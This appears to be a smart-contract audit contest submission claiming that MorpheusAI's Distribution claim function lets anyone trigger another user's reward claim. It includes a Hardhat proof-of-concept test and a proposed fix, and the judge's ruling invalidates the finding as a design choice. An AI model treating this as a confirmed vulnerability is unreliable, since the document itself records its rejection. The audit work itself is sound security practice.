MorpheusAI
MorpheusAI
Foundry
22,500 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Missing address validation in Distribution:Claim allows any user's rewards to be claimed without their interaction

1Tjkb

Summary

Missing user_ argument validation in Distribution:Claim allows Alice to prematurely cause Bob's rewards to be claimed, without any action on Bob's behalf, allowing for griefing.

Impact

Although Bob will receive his rewards and Alice cannot use this issue to steal Bob's rewards directly, Alice may abuse this issue to grief Bob by claiming on his behalf before he intends to reap his rewards.

If exploited on a large scale, this issue may also allow attackers to manipulate the supply of reward tokens by causing them to be minted on the destination chain, or deny a large amount of users from potential rewards they would have accrued by claiming at a later period.

Vulnerability Details

Currently, there is no requirement that the public Distribution:Claim function's _user argument is msg.sender, or an otherwise approved user. Therefore, any account may call the claim function with any _user address.

// File: contracts/Distribution.sol
​
...
​
function claim(uint256 poolId_, address user_) external payable poolExists(poolId_) {
Pool storage pool = pools[poolId_];
PoolData storage poolData = poolsData[poolId_];
UserData storage userData = usersData[user_][poolId_]; // no requirement that user_ is msg.sender or an otherwise allowed address.
​
require(block.timestamp > pool.payoutStart + pool.claimLockPeriod, "DS: pool claim is locked");
​
uint256 currentPoolRate_ = _getCurrentPoolRate(poolId_);
uint256 pendingRewards_ = _getCurrentUserReward(currentPoolRate_, userData);
require(pendingRewards_ > 0, "DS: nothing to claim");
​
// Update pool data
poolData.lastUpdate = uint128(block.timestamp);
poolData.rate = currentPoolRate_;
​
// Update user data
userData.rate = currentPoolRate_;
userData.pendingRewards = 0;
​
// Transfer rewards
L1Sender(l1Sender).sendMintMessage{value: msg.value}(user_, pendingRewards_, _msgSender());
​
emit UserClaimed(poolId_, user_, pendingRewards_);
}
​
...
​

PoC

Add the following Hardhat test to the claim tests around line 762 in Distribution.tests.ts.

This test simulates the OWNER account staking an amount, after which another account ATTACKER then causes OWNER's rewards to be claimed. It then validates that the OWNER account has had its rewards claimed, based on the logic in the provided should correctly claim, one user, without redeposits test case:

//File: test/Distribution.test.ts
​
...
​
describe('#claim', () => {
const poolId = 0;
​
beforeEach(async () => {
await distribution.createPool(getDefaultPool());
});
​
...
​
//@audit : ATTACKER can cause OWNER's rewards to be claimed prematurely, without any action from OWNER
it('AUDIT - any user can cause another user\'s rewards to be claimed', async () => {
​
let userData, ATTACKER, attackerAddress;
​
[,,ATTACKER] = await ethers.getSigners();
​
[attackerAddress] = await Promise.all([ATTACKER.getAddress()]);
await setNextTime(oneHour * 2);
// stake as owner
await distribution.connect(OWNER).stake(poolId, wei(1));
​
// set time to after 2 days
await setNextTime(oneDay + oneDay * 2);
// claim as attacker
const tx = await distribution.connect(ATTACKER).claim(poolId, OWNER, { value: wei(0.5) });
​
// validate owner got their reward without their interaction
await expect(tx).to.emit(distribution, 'UserClaimed').withArgs(poolId, ownerAddress, wei(198));
expect(await rewardToken.balanceOf(ownerAddress)).to.eq(wei(198));
userData = await distribution.usersData(ownerAddress, poolId);
expect(userData.deposited).to.eq(wei(1));
expect(userData.pendingRewards).to.eq(0);
});
...
​

Run the test with npm run test

Tools Used

VScode, Hardhat

Recommendations

Consider adding a requirement to the Distribution:Claim function such that the user_ argument can only be approved addresses, or msg.sender, similar to the following:

function claim(uint256 poolId_, address user_) external payable poolExists(poolId_) {
// only the approved user can claim, in this case msg.sender
require(user_ == _msgSender(), "users can only claim their own rewards" );
​
Pool storage pool = pools[poolId_];
PoolData storage poolData = poolsData[poolId_];
UserData storage userData = usersData[user_][poolId_];
​
...
}
​

Note that this may require other test cases to be modified such that only allowed users can claim their own rewards.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.